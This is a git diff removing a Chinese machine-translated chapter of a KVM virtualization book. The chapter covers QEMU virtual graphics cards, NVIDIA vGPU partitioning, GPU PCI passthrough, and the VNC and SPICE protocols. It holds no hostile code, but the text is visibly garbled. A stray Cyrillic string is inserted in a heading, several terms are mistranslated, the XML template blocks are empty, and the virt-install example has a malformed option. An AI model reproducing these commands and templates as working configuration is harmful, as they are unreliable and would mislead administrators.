- -# 摘要 - -在本章中,我们介绍并配置了 libvirt 的各种开源存储概念。 我们还讨论了行业标准方法,如 iSCSI 和 NFS,因为它们通常用于不基于 KVM 的基础架构。 例如,我们在本章涵盖的主题列表中,基于 VMware vSphere 的环境可以使用 FC、iSCSI 和 NFS,而基于 Microsoft 的环境只能使用 FC 和 iSCSI。 - -下一章将介绍与虚拟显示设备和协议相关的主题。 我们将深入介绍 VNC 和 SPICE 协议。 我们还将介绍用于虚拟机连接的其他协议。 所有这些都将帮助我们理解使用虚拟机所需的全部基础知识,我们在过去的三章中介绍了这些基础知识。 - -# 问题 - -1. 什么是存储池? -2. NFS 存储如何与 libvirt 配合使用? -3. ISCSI 如何与 libvirt 配合使用? -4. 我们如何在存储连接上实现冗余? -5. 除了 NFS 和 iSCSI 之外,我们还可以将什么用于虚拟机存储? -6. 通过 libvirt,我们可以将哪个存储后端用于基于对象的存储? -7. 我们如何创建与 KVM 虚拟机一起使用的虚拟磁盘映像? -8. 使用 NVMe 固态硬盘和 SCM 设备如何改变我们创建存储层的方式? -9. 为虚拟化、云和 HPC 环境提供第 0 层存储服务的基本问题是什么? - -# 进一步阅读 - -有关本章内容的更多信息,请参阅以下链接: - -* RHEL8 文件系统和存储的新特性:[https://www.redhat.com/en/blog/whats-new-rhel-8-file-systems-and-storage](https://www.redhat.com/en/blog/whats-new-rhel-8-file-systems-and-storage) -* O 虚拟存储:[https://www.ovirt.org/documentation/administration_guide/#chap-Storage](https://www.ovirt.org/documentation/administration_guide/#chap-Storage) -* RHEL 7 存储管理指南:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/storage_administration_guide/index) -* RHEL 8 管理存储设备:[https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/managing_storage_devices/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/managing_storage_devices/index) -* OpenFabrics CCIX、Gen-Z、OpenCAPI(概述和比较):[https://www.openfabrics.oimg/eventpresos/2017presentations/213_CCIXGen-Z_BBenton.pdf](https://www.openfabrics.oimg/eventpresos/2017presentations/213_CCIXGen-Z_BBenton.pdf)**** \ No newline at end of file diff --git a/docs/master-kvm-virtual/06.md b/docs/master-kvm-virtual/06.md deleted file mode 100644 index e071c97d..00000000 --- a/docs/master-kvm-virtual/06.md +++ /dev/null @@ -1,518 +0,0 @@ -# 六、虚拟显示设备和协议 - -在本章中,我们将讨论使用虚拟显卡和协议访问虚拟机的方式。 我们可以在虚拟机中使用几乎 10 个可用的虚拟显示适配器,并且可以使用多种可用的协议和应用来访问我们的虚拟机。 如果我们暂时忘记了 SSH 和任何一种基于控制台的访问,那么市场上有各种协议可以用来访问我们虚拟机的控制台,例如 VNC、SPICE 和 noVNC。 - -在基于 Microsoft 的环境中,我们倾向于使用**远程桌面协议**(**RDP**)。 如果我们谈论的是**虚拟桌面基础架构**(**VDI**),那么还有更多的协议可用-**PC over IP**(**PCoIP**)、VMware BLAST 等。 其中一些技术提供额外的功能,例如更大的颜色深度、加密、音频和文件系统重定向、打印机重定向、带宽管理以及 USB 和其他端口重定向。 这些都是在当今基于云的世界中实现远程桌面体验的关键技术。 - -所有这些都意味着我们必须花更多的时间和精力来了解各种显示设备和协议,以及如何配置和使用它们。 我们不希望出现因为选择了错误的虚拟显示设备而看不到虚拟机显示的情况,或者我们试图打开控制台查看虚拟机内容但控制台没有打开的情况。 - -在本章中,我们将介绍以下主题: - -* 使用虚拟机显示设备 -* 讨论远程显示协议 -* 使用 VNC 显示协议 -* 使用 SPICE 显示协议 -* 通过 NoVNC 获得显示器便携性 -* 我们开始吧! - -# USIng 虚拟机显示设备 - -要使图形在虚拟机上工作,QEMU 需要为其虚拟机提供两个组件:虚拟图形适配器和从客户端访问图形的方法或协议。 让我们从虚拟图形适配器开始讨论这两个概念。 最新版本的 QEMU 有八种不同类型的虚拟/仿真图形适配器。 所有这些都有一些相似之处和不同之处,所有这些都可以在支持的功能和/或分辨率或其他更多技术细节方面有所不同。 因此,让我们对它们进行描述,看看我们将偏爱哪些特定虚拟显卡的使用情形: - -* **TCX**:可用于旧 SUN 操作系统的 SUN TCX 虚拟图形卡。 -* **Cirrus**:基于旧 Cirrus Logic GD5446 VGA 芯片的虚拟显卡。 它可以与 Windows 95 之后的任何访客操作系统一起使用。 -* **std**:标准的 VGA 卡,可用于 Windows XP 之后的访客操作系统的高分辨率模式。 -* **VMware**:VMware 的 SVGA 图形适配器,在 Linux 访客操作系统和用于 Windows 操作系统的 VMware 工具安装中需要额外的驱动程序。 -* **QXL**:我们在使用 SPICE 远程显示协议时需要使用的事实上的标准半虚拟图形卡,我们将在本章稍后详细介绍。 这款虚拟显卡还有一个较旧的版本,名为 QXL VGA,它缺少一些更高级的功能,同时提供了更低的开销(它使用的内存更少)。 -* **Virtio**:一个基于 virgl 项目的准虚拟 3D 虚拟图形卡,它为 QEMU 客户操作系统提供 3D 加速。 它有两种不同的类型(VGA 和 GPU)。 Virtio-vga 通常用于需要多显示器支持和 OpenGL 硬件加速的场合。 Virtio-GPU 版本没有内置的标准 VGA 兼容模式。 -* **CG3**:一种虚拟显卡,我们可以在较旧的基于 SPARC 的访客操作系统上使用。 -* **无**:在访客操作系统中禁用图形卡。 - -配置虚拟机时,您可以在启动或创建虚拟机时选择这些选项。 在 CentOS 8 中,分配给新创建的虚拟机的默认虚拟图形卡是**QXL**,如下面的新虚拟机配置截图所示: - -![Figure 6.1 – Default virtual graphics card for a guest OS – QXL ](img/B14834_06_01.jpg) - -图 6.1-访客操作系统的默认虚拟显卡-QXL - -此外,默认情况下,我们可以为任何给定的虚拟机选择以下三种类型的虚拟图形卡,因为这些虚拟图形卡通常是为我们预先安装在任何为虚拟化配置的 Linux 服务器上的: - -* QXL -* 视频图形阵列 -* 维蒂奥 - -由于各种原因,在 KVM 虚拟化中运行的一些新操作系统不应该使用较旧的图形卡适配器。 例如,从 Red Hat Enterprise Linux/CentOS 7 开始,就有人建议不要在 Windows 10 和 Windows Server 2016 上使用 CIRRUS 虚拟显卡。 出现这种情况的原因与虚拟机的不稳定有关,也与以下事实有关-例如,您不能将全高清分辨率的显示器与 CIRRUS 虚拟显卡一起使用。 如果您开始安装这些客户操作系统,请确保您使用的是 QXL 显卡,因为它提供最佳的性能和与 SPICE 远程显示协议的兼容性。 - -理论上,您仍然可以在一些*真的*老客户操作系统(更早的 Windows NT,如 4.0 和更老的客户客户操作系统,如 Windows XP)上使用 CIRRUS 虚拟图形卡,但仅此而已。 对于其他一切,最好是使用 STD 或 QXL 驱动程序,因为它们提供了最佳的性能和加速支持。 此外,这些虚拟显卡还提供更高的显示分辨率。 - -还有一些其他虚拟图形卡可用于 QEMU,例如用于各种**片上系统**(**SoC**)设备、ati VGA、Bochs 等的嵌入式驱动程序。 其中一些经常被使用,比如 SoC-只要记住世界上所有的覆盆子 PI 和 BBC Micro:BITS 就知道了。 这些新的虚拟图形选项通过**物联网**(**IoT**)进一步扩展。 因此,我们有很多充分的理由应该密切关注这个市场领域正在发生的事情。 - -让我们通过一个例子来说明这一点。 假设我们想要创建一个新的虚拟机,该虚拟机将根据我们访问其虚拟显示的方式为其分配一组自定义参数。 如果您还记得在[*第 3 章*](03.html#_idTextAnchor049),*安装 KVM Hypervisor、libvirt 和 ovirt*中,我们讨论了各种 libvirt 管理命令(`virsh`、`virt-install`),我们还使用`virt-install`和一些自定义参数创建了一些虚拟机。 让我们对这些进行补充,并使用一个类似的示例: - -```sh -virt-install --virt-type=kvm --name MasteringKVM01 --vcpus 2 --ram 4096 --os-variant=rhel8.0 --/iso/CentOS-8-x86_64-1905-dvd1.iso --network=default --video=vga --graphics vnc,password=Packt123 --disk size=16 -``` - -下面是将要发生的事情: - -![Figure 6.2 – KVM virtual machine with a VGA virtual graphics card is created. Here, VNC is asking for a password to be specified ](img/B14834_06_02.jpg) - -图 6.2-创建了带有 VGA 虚拟显卡的 KVM 虚拟机。 在这里,VNC 要求指定密码 - -在我们输入密码(`Packt123`,在 virt-install 配置选项中指定)之后,我们将面对这个屏幕: - -![Figure 6.3 – VGA display adapter and its low default (640x480) initial resolution - a familiar resolution for all of us who grew up in the 80s ](img/B14834_06_03.jpg) - -图 6.3-VGA 显示适配器及其低默认(640x480)初始分辨率-这是我们所有 80 年代长大的人都熟悉的分辨率 - -话虽如此,我们只是使用作为如何向`virt-install`命令添加高级选项的示例-具体地说,就是如何安装具有特定虚拟显卡的虚拟机。 - -还有其他更高级的概念,使用我们安装在计算机或服务器上的真实显卡将其*功能*直接转发给虚拟机。 正如我们前面提到的,这对于 VDI 等概念非常重要。 让我们花点时间讨论这些概念,并使用一些真实的示例和比较来更大范围地了解 VDI 解决方案的复杂性。 - -## VDI 场景中的物理和虚拟显卡 - -正如我们在[*第 1 章*](01.html#_idTextAnchor016),*了解 Linux 虚拟化*中讨论的,VDI 是一个概念,它使用客户端操作系统的虚拟化范例。 这意味着最终用户可以通过运行为其保留*或*池化*的客户端操作系统(例如,Windows 8.1、Windows 10 或 Linux Mint)将*直接连接到他们的虚拟机,这意味着多个用户可以访问相同的虚拟机并通过附加的 VDI 功能访问他们的*数据*。** - - *现在,如果我们谈论的是大多数商务用户,他们只需要一台我们戏称为*打字机*的东西。 该使用模型涉及用户使用客户端 OS 来读写文档、电子邮件和浏览互联网的场景。 对于这些使用情形,如果我们要使用任何基于供应商的解决方案(VMware 的 Horizon、Citrix Xen Desktop 或 Microsoft 的基于远程桌面服务的 VDI 解决方案),我们都可以使用其中的任何一种解决方案。 - -然而,有一个很大的*但是*。 如果场景包括数百名需要访问 2D 和/或 3D 视频加速的用户,会发生什么情况? 如果我们为一家创建设计(建筑、管道、石油和天然气以及视频制作)的公司设计 VDI 解决方案,会发生什么情况? 运行基于 CPU 和基于软件的虚拟显卡卡的 VDI 解决方案将一事无成,尤其是在规模上。 这是 Xen Desktop 和 Horizon 功能更丰富的地方,如果我们在谈论技术水平的话。 老实说,基于 KVM 的方法在显示选项方面并不落后,只是它们落后于其他一些企业级特性,我们将在后面的章节中讨论这些特性,例如[*第 12 章*](12.html#_idTextAnchor209)、*使用 OpenStack 横向扩展 KVM*。 - -基本上,我们可以使用三个概念来获得虚拟机的显卡性能: - -* 我们可以使用基于 CPU 的软件渲染器。 -* 我们可以为特定的虚拟机预留一个 GPU(PCI 直通)。 -* 我们可以对 GPU 进行*分区*,这样我们就可以在多个虚拟机中使用它。 - -仅以 VMware Horizon 解决方案作为的比喻,这些解决方案将称为 CPU 渲染、**虚拟直接图形加速**(**vDGA**)和**虚拟共享图形加速**(**vSGA**)。 或者,在 Citrix,我们谈论的是 HDX 3D Pro。 在 CentOS8 中,我们谈论的是共享显卡场景中的*中介设备*。 - -如果我们谈论的是 PCI Passthrough,它绝对可以提供最佳的性能,因为您可以使用 PCI-Express 显卡,将其直接转发到虚拟机,在访客操作系统中安装本地驱动程序,并完全拥有完整的显卡。 但这带来了四个问题: - -* 您只能将该 PCI-Express 图形卡转发到*台*台虚拟机。 -* 例如,由于服务器在可升级性方面可能受到限制,您不能在一台物理服务器上运行 50 台这样的虚拟机,因为您无法在一台服务器上安装 50 块显卡(物理上或 PCI-Express 插槽方面),在典型的 2U 机架式服务器中通常最多可容纳 6 块显卡。 -* 如果您使用刀片式服务器(例如,HP c7000),情况会更糟,因为如果您打算使用额外的显卡,则每个刀片式服务器机箱的服务器密度将减少一半,因为这些显卡只能安装在双高刀片式服务器上。 -* 您将花费大量资金将任何类型的解决方案扩展到数百个个个虚拟桌面,或者更糟糕的是数千个个虚拟桌面。 - -如果我们讨论的是对物理显卡进行分区以便可以在多个虚拟机中使用的共享方法,则会产生另一组问题: - -* 您在使用哪种显卡方面受到更多限制,因为支持这种使用模式的显卡大约有 20 块(其中一些包括 NVIDIA GRID、Quadro、Tesla 卡,以及几块 AMD 和 Intel 卡)。 -* 如果您与 4 台、8 台、16 台或 32 台虚拟机共享同一显卡,您必须意识到这样一个事实,即您将与多台虚拟机共享同一个 GPU,从而降低性能。 -* 与 DirectX、OpenGL、CUDA 和视频编码卸载的兼容性不会像您预期的那样好,您可能会被迫使用这些标准的旧版本。 -* 根据供应商和解决方案的不同,可能需要额外的许可。 - -我们列表中的下一个主题是如何以更高级的方式使用 GPU-通过使用 GPU 分区概念向多个虚拟机提供 GPU 的各个部分。 让我们以 NVIDIAGPU 为例来解释是如何工作和配置的。 - -以 NVIDIA vGPU 为例进行 GPU 分区 - -让我们使用一个示例来了解如何使用场景,在该场景中,我们将 GPU(NVIDIA VGPU)与基于 KVM 的虚拟机进行分区。 此过程与我们在[*第 4 章*](04.html#_idTextAnchor062),*Libvirt Networking*中讨论的 SR-IOV 过程非常相似,在该过程中,我们使用支持的英特尔网卡向 CentOS 主机呈现虚拟功能,然后将其作为 KVM 虚拟网桥的上行链路呈现给我们的虚拟机。 - -首先,我们需要检查我们使用的是哪种显卡,并且必须是支持的显卡(在我们的例子中,我们使用的是特斯拉 P4)。 让我们使用`lshw`命令检查我们的显示设备,它应该类似于以下内容: - -```sh -# yum -y install lshw -# lshw -C display -*-display - description: 3D controller - product: GP104GL [Tesla P4] - vendor: NVIDIA Corporation - physical id: 0 - bus info: pci@0000:01:00.0 - version: a0 - width: 64 bits - clock: 33MHz - capabilities: pm msi pciexpress cap_list - configuration: driver=vfio-pci latency=0 - resources: irq:15 memory:f6000000-f6ffffff memory:e0000000-efffffff memory:f0000000-f1ffffff -``` - -此命令的输出告诉我们,我们有一个支持 3D 的 GPU-具体地说,就是基于 NVIDIA GP104GL 的产品。 它告诉我们该设备已经在使用`vfio-pci`驱动程序。 此驱动程序是**虚拟化函数**(**VF**)的本机 SR-IOV 驱动程序。 这些功能是 SR-IOV 功能的核心。 我们将使用这款支持 SR-IOV 的 GPU 来描述这一点。 - -我们需要做的第一件事--我们所有的 NVIDIA GPU 用户多年来一直在做的--是将新驱动程序列入黑名单,这会阻碍。 如果我们打算永久使用 GPU 分区,我们需要永久地这样做,这样服务器启动时才不会加载它。 但请注意-这有时可能会导致意外行为,例如服务器启动,并且没有任何真正的原因不显示任何输出。 因此,我们需要为`modprobe`创建一个将 nouveau 驱动程序列入黑名单的配置文件。 让我们在`/etc/modprobe.d`目录中创建一个名为`nouveauoff.conf`的文件,内容如下: - -```sh -blacklist nouveau -options nouveau modeset 0 -``` - -然后,我们需要强制服务器重新创建在服务器启动时加载的`initrd`映像,并重新引导服务器以使更改生效。 我们将使用`dracut`命令执行此操作,后跟一个常规的`reboot`命令: - -```sh -# dracut –-regenerate-all –force -# systemctl reboot -``` - -重新启动后,让我们检查 NVIDIA 显卡的`vfio`驱动程序是否已加载,如果已加载,请检查 vGPU 管理器服务: - -```sh -# lsmod | grep nvidia | grep vfio -nvidia_vgpu_vfio 45011 0 -nvidia 14248203 10 nvidia_vgpu_vfio -mdev 22078 2 vfio_mdev,nvidia_vgpu_vfio -vfio 34373 3 vfio_mdev,nvidia_vgpu_vfio,vfio_iommu_type1 -# systemctl status nvidia-vgpu-mgr -vidia-vgpu-mgr.service - NVIDIA vGPU Manager Daemon - Loaded: loaded (/usr/lib/systemd/system/nvidia-vgpu-mgr.service; enabled; vendor preset: disabled) - Active: active (running) since Thu 2019-12-12 20:17:36 CET; 0h 3min ago - Main PID: 1327 (nvidia-vgpu-mgr) -``` - -我们需要创建一个 UUID,我们将使用该 uuid 向 KVM 虚拟机呈现我们的虚拟功能。 为此,我们将使用`uuidgen`命令: - -```sh -uuidgen -c7802054-3b97-4e18-86a7-3d68dff2594d -``` - -现在,让我们将此 UUID 用于将共享我们的 GPU 的虚拟机。 为此,我们需要创建一个 XML 模板文件,我们将以复制粘贴的方式将其添加到虚拟机的现有 XML 文件中。 让我们称其为`vsga.xml`: - -```sh - - -
- - -``` - -使用这些设置作为模板,只需将完整内容复制粘贴到任何虚拟机的 XML 文件中,您就可以在该文件中访问我们的共享 GPU。 - -我们需要讨论的下一个概念是与 SR-IOV 完全相反的概念,在 SR-IOV 中,我们将一个设备分割成多个部分,以将这些部分呈现给虚拟机。 在 GPU 传递中,我们获取*整个*设备,并将其直接呈现给*一个*对象,即一个虚拟机。 让我们学习如何配置它。 - -## КолибрипрограммаGPU PCI 直通 - -与每个高级功能一样,启用 GPU PCI 直通需要按顺序执行多个步骤。 通过按正确的顺序执行这些步骤,我们可以直接将此硬件设备呈现给虚拟机。 让我们解释并执行这些配置步骤: - -1. To enable GPU PCI passthrough, we need to configure and enable IOMMU – first in our server's BIOS, then in our Linux distribution. We're using Intel-based servers, so we need to add `iommu` options to our `/etc/default/grub` file, as shown in the following screenshot: - - ![Figure 6.4 – Adding intel_iommu iommu=pt options to a GRUB file ](img/B14834_06_04.jpg) - - 图 6.4-将 intel_IOMMU IOMMU=pt 选项添加到 GRUB 文件 - -2. 下一步是重新配置 GRUB 配置并重新启动它,这可以通过键入以下命令来实现: - - ```sh - # grub2-mkconfig -o /etc/grub2.cfg - # systemctl reboot - ``` - -3. After rebooting the host, we need to acquire some information – specifically, ID information about the GPU device that we want to forward to our virtual machine. Let's do that: - - ![](img/B14834_06_05.jpg) - - 图 6.5-使用 lspci 显示相关配置信息 - - 在我们的使用案例中,我们希望将 Quadro2000 卡转发到我们的虚拟机,因为我们正在使用 GT740 连接我们的显示器,而 Quadro 卡目前没有任何工作负载或连接。 因此,我们需要注意两个数字;即 `0000:05:00.0`和`10de:0dd8`。 - - 我们需要这两个 ID,每个 ID 都用来定义我们想要使用哪个设备以及在哪里使用。 - -4. The next step is to explain to our host OS that it will not be using this PCI express device (Quadro card) for itself. In order to do that, we need to change the GRUB configuration again and add another parameter to the same file (`/etc/defaults/grub`): - - ![](img/B14834_06_06.jpg) - - 图 6.6-将 pci-stub.ids 选项添加到 GRUB,以便它在引导操作系统时忽略此设备 - - 同样,我们需要重新配置 GRUB 并在此之后重新启动服务器,因此键入以下命令: - - ```sh - # grub2-mkconfig -o /etc/grub2.cfg - # systemctl reboot - ``` - - 此步骤标志着*物理*服务器配置的结束。 现在,我们可以进入该过程的下一个阶段,即如何在我们的虚拟机中使用现已完全配置的 PCI 通过设备。 - -5. Let's check if everything was done correctly by using the `virsh nodedev-dumpxml` command on the PCI device ID: - - ![Figure 6.7 – Checking if the KVM stack can see our PCIe device ](img/B14834_06_07.jpg) - - 图 6.7-检查 KVM 堆栈是否可以看到我们的 PCIe 设备 - - 在这里,我们可以看到 QEMU 看到两个函数:`0x1`和`0x0`。 `0x1`函数实际上是 GPU 设备的*音频*芯片,我们不会在我们的过程中使用它。 我们只需要`0x0`函数,也就是 GPU 本身。 这意味着我们需要掩饰它。 我们可以使用以下命令执行此操作: - - ![Figure 6.8 – Detaching the 0x1 device so that it can't be used for passthrough ](img/B14834_06_08.jpg) - - 图 6.8-卸下 0x1 设备,使其不能用于通过 - -6. Now, let's add the GPU via PCI passthrough to our virtual machine. For this purpose, we're using a freshly installed virtual machine called `MasteringKVM03`, but you can use any virtual machine you want. We need to create an XML file that QEMU will use to know which device to add to a virtual machine. After that, we need to shut down the machine and import that XML file into our virtual machine. In our case, the XML file will look like this: - - ![Figure 6.9 – The XML file with our GPU PCI passthrough definition for KVM ](img/B14834_06_09.jpg) - - 图 6.9-包含 KVM 的 GPU PCI 直通定义的 XML 文件 - -7. The next step is to attach this XML file to the `MasteringKVM03` virtual machine. We can do this by using the `virsh attach-device` command: - - ![Figure 6.10 – Importing the XML file into a domain/virtual machine ](img/B14834_06_10.jpg) - - 图 6.10-将 XML 文件导入域/虚拟机 - -8. 在上一步之后,我们可以启动虚拟机,登录,并检查虚拟机是否看到我们的 GPU: - -![Figure 6.11 – Checking GPU visibility in our virtual machine ](img/B14834_06_11.jpg) - -图 6.11-检查我们虚拟机中的 GPU 可见性 - -下一个合乎逻辑的步骤是为 Linux 版的这块卡安装 NVIDIA 驱动程序,这样我们就可以自由地将它用作我们的独立 GPU。 - -现在,让我们继续到另一个与远程显示协议相关的重要主题。 在本章的前一部分中,我们也绕过了这个主题,但现在我们要正面解决这个问题。 - -# 讨论远程显示协议 - -正如我们前面提到的,有不同的虚拟化解决方案,所以有种不同的方法访问*台*台虚拟机是很正常的。 如果你看看虚拟机的历史,我们有许多不同的显示协议来解决这个特定的问题。 那么,让我们来讨论一下这段历史。 - -## 远程显示协议历史记录 - -将会有人对这一前提提出异议,但远程协议一开始是纯文本协议。 无论从哪种角度来看,串行文本模式终端在我们有 X Windows 或类似于微软、苹果和基于 UNIX 的世界中的 GUI 的任何东西之前就已经出现了。 此外,telnet 和 rlogin 协议也可用于访问远程显示,这一事实也是毋庸置疑的。 碰巧我们使用 telnet 和 rlogin 访问的远程显示是基于文本的显示。 推而广之,同样的事情也适用于 SSH。 串行终端、文本控制台和基于文本的协议(如 telnet 和 rlogin)是最常用的起点,可以追溯到 20 世纪 70 年代。 - -20 世纪 70 年代末是计算机历史上的一个重要时期,因为有许多尝试开始为大量的人批量生产个人计算机(例如,1977 年开始的 Apple II)。 在 20 世纪 80 年代,人们开始更多地使用个人电脑,任何 Amiga、Commodore、Atari、Spectrum 或 Amstrad 的粉丝都会告诉你。 请记住,直到施乐之星(1981)和苹果丽莎(1983)才开始出现第一个真正的、公开可用的基于 GUI 的操作系统。 第一个广泛使用的基于苹果的图形用户界面操作系统是 1984 年的 Mac OS System 1.0。 前面提到的大多数其他计算机都使用基于文本的操作系统。 即使是那个时代(以及未来许多年)的游戏,在你玩的时候看起来也像是手绘的。 Amiga 的 Workbench 1.0 于 1985 年发布,凭借其图形用户界面(GUI)和色彩使用模型,它遥遥领先于时代。 然而,1985 年可能会因为其他事情而被人们记住--这是第一个 Microsoft Windows OS(1.0 版)发布的那一年。 后来,又出现了 Windows2.0(1987)、Windows3.0(1990)、Windows3.1(1992),那时微软已经席卷了操作系统世界。 是的,其他制造商也推出了其他操作系统: - -* 苹果:Mac OS System 7(1991) -* IBM:OS/2v1(1988)、v1.2(1989)、v2.0(1992)、Warp 4(1996) - -与 1995 年微软推出 Windows95 时的大风暴相比,所有这些都只是地平线上的一个小点。 这是自以前的版本从命令行启动以来,第一个能够在默认情况下引导至 GUI 的 Microsoft 客户端操作系统。 然后是 Windows98 和 XP,这对微软来说意味着更大的市场份额。 接下来的故事可能对 Vista、Windows7、Windows8 和 Windows10 非常熟悉。 - -这个故事的重点不是教你操作系统历史本身。 这是关于注意趋势,这很简单。 我们从命令行中的文本界面开始(例如,IBM 和 MS DOS、早期版本的 Windows、Linux、UNIX、Amiga、Atari 等)。 然后,我们慢慢转向更可视化的界面(GUI)。 随着网络、GPU、CPU 和监控技术的进步,我们已经达到了一个阶段,在这个阶段,我们需要一款 4K 分辨率的闪亮显示器,具有 400 万像素的分辨率、低延迟、强大的 CPU 能力、美妙的色彩和特定的用户体验。 这种用户体验需要是即时的,我们使用的是本地操作系统还是远程操作系统(VDI、云或任何后台技术)都无关紧要。 - -这意味着除了我们刚才提到的所有硬件组件外,还需要开发其他(软件)组件。 具体地说,需要开发的是高质量的远程显示协议,现在这些协议也必须能够扩展到基于浏览器的使用模式。 人们不希望被迫安装额外的应用(客户端)来访问他们的远程资源。 - -## 远程显示协议类型 - -让我们只提到现在市场上非常活跃的一些协议*:* - - ** Microsoft Remote Desktop Protocol/Remote FX:由 Remote Desktop Connection 使用,此多通道协议允许我们连接到基于 Microsoft 的虚拟机。 -* VNC:Virtual Network Computing 的缩写,这是一个远程桌面共享系统,它通过传输鼠标和键盘事件来访问远程计算机。 -* SPICE:Simple Protocol for Independent Computing Environment 的缩写,这是另一种可用于访问远程计算机的远程显示协议。 它是由被红帽收购的 Qumranet 开发的。 - -如果我们将我们的列表进一步扩展到正在用于 VDI 的协议,则该列表将进一步增加: - -* Teradici PCoIP(PC Over IP):一种基于 UDP 的 VDI 协议,我们可以使用该协议访问 VMware、Citrix 和基于 Microsoft 的 VDI 解决方案上的虚拟机 -* VMware BLAST Extreme:VMware 针对基于 VMware Horizon 的 VDI 解决方案的 PcoIP 解决方案 -* Citrix HDX:Citrix 的虚拟桌面协议。 - -当然,也有其他可用但使用不多且重要性较低的应用,例如: - -* 科罗拉多州 CodeCraft -* OpenText 超越 TurboX -* NoMachine -* FreeNX -* 阿帕奇鳄梨酱 -* Chrome 远程桌面 -* Miranex - -常规远程协议和功能齐全的 VDI 协议之间的主要区别与附加功能有关。 例如,在 PCoIP、BLAST Extreme 和 HDX 上,您可以微调带宽设置、控制 USB 和打印机重定向(手动或通过策略集中控制)、使用多媒体重定向(用于卸载媒体解码)、Flash 重定向(用于卸载 Flash)、客户端驱动器重定向、串行端口重定向以及许多其他功能。 例如,您不能在 VNC 或远程桌面上执行其中一些操作。 - -话虽如此,让我们讨论开放源码世界中最常见的两个:VNC 和 SPICE。 - -# 使用 VNC 显示协议 - -当通过 libvirt 启用 VNC 图形服务器时,QEMU 会将图形输出重定向到其内置的 VNC 服务器实现。 VNC 服务器将侦听 VNC 客户端可以连接的网络端口。 - -下面的屏幕截图显示了如何添加 VNC 图形服务器。 只需转到**Virtual Machine Manager**,打开您的虚拟机设置,然后转到左侧的**Display Spice**选项卡: - -![Figure 6.12 – VNC configuration for a KVM virtual machine ](img/B14834_06_12.jpg) - -图 6.12-KVM 虚拟机的 VNC 配置 - -添加 VNC 图形时,您将看到前面屏幕截图中所示的选项: - -* **类型**:图形服务器的类型。 这里,它是**VNC 服务器**。 -* **地址**:VNC 服务器侦听地址。 它可以是 all、localhost 或 IP 地址。 默认情况下,它仅为**本地主机**。 -* **端口**:VNC 服务器侦听端口。 您可以选择 auto,其中 libvirt 根据可用性定义端口,也可以自己定义一个。 确保它不会造成冲突。 -* **密码**:保护 VNC 访问的密码。 -* **Keymap**:如果您希望使用特定的键盘布局而不是自动检测到的键盘布局,则可以使用`virt-xml`命令行工具执行相同的操作。 - -例如,让我们向名为`PacktGPUPass`的虚拟机添加 VNC 图形,然后将其 VNC 侦听 IP 修改为`192.168.122.1`: - -```sh -# virt-xml MasteringKVM03 --add-device --graphics type=vnc -# virt-xml MasteringKVM03 --edit --graphics listen=192.168.122.1 -``` - -它在`PacktVM01`XML 配置文件中的外观如下所示: - -```sh - - - -``` - -您也可以使用`virsh`编辑`PacktGPUPass`并单独更改参数。 - -## 为什么是 VNC? - -当您在局域网上访问虚拟机或直接从控制台访问虚拟机时,您可以使用 VNC。 使用 VNC 在公共网络上公开虚拟机不是一个好主意,因为连接未加密。 如果虚拟机是未安装 GUI 的服务器,则 VNC 是一个很好的选择。 支持 VNC 的另一点是客户端的可用性。 您可以从任何操作系统平台访问虚拟机,因为该平台将提供 VNC 查看器。 - -# 使用 SPICE 显示协议 - -与 KVM 一样,独立计算环境的**简单协议**(**SPICE**)是开源虚拟化技术中最好的创新之一。 它将开源虚拟化推向了大型**虚拟桌面基础设施**(**VDI**)实施。 - -重要注 - -Qumranet 最初在 2007 年开发了 SPICE,作为一个封闭的源代码基础。 RedHat,Inc.在 2008 年收购了 Qumranet,2009 年 12 月,他们决定在开放源码许可下发布代码,并将该协议视为开放标准。 - -SPICE 是 Linux 上唯一提供双向音频的开源解决方案。 它具有高质量的 2D 渲染功能,可以利用客户端系统的视频卡。 SPICE 还支持多个高清显示器、加密、智能卡身份验证、压缩和网络上的 USB 通过。 有关功能的完整列表,请访问[http://www.spice-space.org/features.html](http://www.spice-space.org/features.html)。 如果您是开发人员并想了解 SPICE 的内部结构,请访问[http://www.spice-space.org/documentation.html](http://www.spice-space.org/documentation.html)。 如果您计划使用 VDI 或安装需要 GUI 的虚拟机,SPICE 是您的最佳选择。 - -SPICE 可能与某些较旧的虚拟机不兼容,因为它们不支持 QXL。 在这些情况下,您可以将 SPICE 与其他视频通用虚拟视频卡一起使用。 - -现在,让我们学习如何将 SPICE 图形服务器添加到我们的虚拟机中。 这可以被认为是开放源码世界中性能最好的虚拟显示协议。 - -## 添加 SPICE 图形服务器 - -Libvirt 现在选择 SPICE 作为大多数虚拟机安装的默认图形服务器。 您必须遵循我们前面提到的 VNC 添加 SPICE 图形服务器的相同过程。 只需在下拉列表中将 VNC 更改为 SPICE 即可。 在这里,由于 SPICE 支持加密,您将获得一个选择**TLS 端口**的附加选项: - -![Figure 6.13 – SPICE configuration for a KVM virtual machine ](img/B14834_06_13.jpg) - -图 6.13-KVM 虚拟机的 SPICE 配置 - -要进入此配置窗口,只需编辑虚拟机的设置。 转到**显示 Spice**选项,并从下拉菜单中选择**Spice 服务器**。 所有其他选项都是可选的,因此您不必进行任何额外的配置。 - -完成前面的过程后,我们已经介绍了有关显示协议的所有必要主题。 现在让我们讨论可以用来访问虚拟机控制台的各种方法。 - -# 访问虚拟机控制台的方法 - -有多种方式可以连接到虚拟机控制台。 如果您的环境拥有完全的 GUI 访问权限,那么最简单的方法就是使用 virt-manager 控制台本身。 `virt-viewer`是另一个可以让您访问虚拟机控制台的工具。 如果您尝试从远程位置访问虚拟机控制台,此工具非常有用。 在以下示例中,我们将连接到 IP 为`192.168.122.1`的远程虚拟机管理器。 该连接通过 SSH 会话进行隧道传输,并且是安全的。 - -第一步是在您的客户端系统和虚拟机管理器之间设置一个没有密码的身份验证系统: - -1. On the client machine, use the following code: - - ```sh - # ssh-keygen - # ssh-copy-id root@192.168.122.1 - # virt-viewer -c qemu+ssh://root@192.168.122.1/system - ``` - - 您将看到虚拟机管理器上可用的虚拟机列表。 选择您必须访问的一个,如以下截图所示: - - ![Figure 6.14 – virt-viewer selection menu for virtual machine access ](img/B14834_06_14.jpg) - - 图 6.14-虚拟机访问的 virt-viewer 选择菜单 - -2. To connect to a VM's console directly, use the following command: - - ```sh - # virt-viewer -c qemu+ssh://root@192.168.122.1/system MasteringKVM03 - ``` - - 